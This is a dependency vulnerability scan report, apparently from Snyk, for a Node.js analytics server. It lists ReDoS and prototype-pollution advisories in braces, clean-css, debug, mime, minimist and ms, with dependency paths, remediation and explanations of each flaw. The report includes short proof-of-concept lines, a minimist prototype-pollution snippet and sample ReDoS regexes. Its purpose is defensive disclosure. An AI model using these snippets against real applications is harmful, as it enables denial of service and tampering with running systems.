Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces to version 2.3.1 or higher.
References
low severity
- Vulnerable module: clean-css
- Introduced through: grunt-contrib-cssmin@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-cssmin@1.0.1 › clean-css@3.4.28Remediation: Upgrade to grunt-contrib-cssmin@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-cssmin@1.0.1 › clean-css@3.4.28Remediation: Upgrade to sails@1.0.0.
Overview
clean-css is a fast and efficient CSS optimizer for Node.js platform and any modern browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). attacks. This can cause an impact of about 10 seconds matching time for data 70k characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 20th, 2018 - Initial Response from package owner
- Mar 6th, 2018 - Fix issued
- Mar 7th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade clean-css to version 4.1.11 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: grunt-contrib-watch@1.0.0, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › debug@2.2.0Remediation: Upgrade to grunt-contrib-watch@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › compression@1.6.2 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › connect@3.4.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › express-session@1.14.2 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › method-override@2.3.5 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › @sailshq/body-parser@1.13.4 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › compression@1.5.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › connect-timeout@1.6.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › express-session@1.11.3 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › finalhandler@0.4.0 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › morgan@1.6.1 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-index@1.7.3 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-parser@2.3.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › socket.io-parser@2.3.1 › debug@2.2.0Remediation: Open PR to patch debug@2.2.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › socket.io-parser@2.3.1 › debug@2.2.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › debug@2.6.8Remediation: Upgrade to mocha@4.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › debug@2.3.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › debug@2.3.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › debug@2.3.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › debug@2.3.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › debug@2.3.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1 › debug@2.6.1Remediation: Upgrade to sails@1.0.0.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › send@0.1.4 › mime@1.2.11Remediation: Open PR to patch mime@1.2.11.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0 › mime@1.3.4Remediation: Open PR to patch mime@1.3.4.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1 › mime@1.3.4Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2 › mime@1.3.4Remediation: Open PR to patch mime@1.3.4.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/ in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: mocha@3.5.3, sails@0.12.14 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › rc@1.0.1 › minimist@0.0.10Remediation: Upgrade to rc@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rc@1.0.1 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › rc@0.3.5 › minimist@0.0.10Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › anchor@0.11.6 › @mapbox/geojsonhint@2.0.1 › minimist@1.2.0
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: sails@0.12.14 and grunt-contrib-watch@1.0.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-favicon@2.3.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to grunt-contrib-watch@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › compression@1.6.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › connect@3.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › express-session@1.14.2 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › method-override@2.3.5 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › connect-timeout@1.6.2 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › tiny-lr@0.2.1 › body-parser@1.14.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
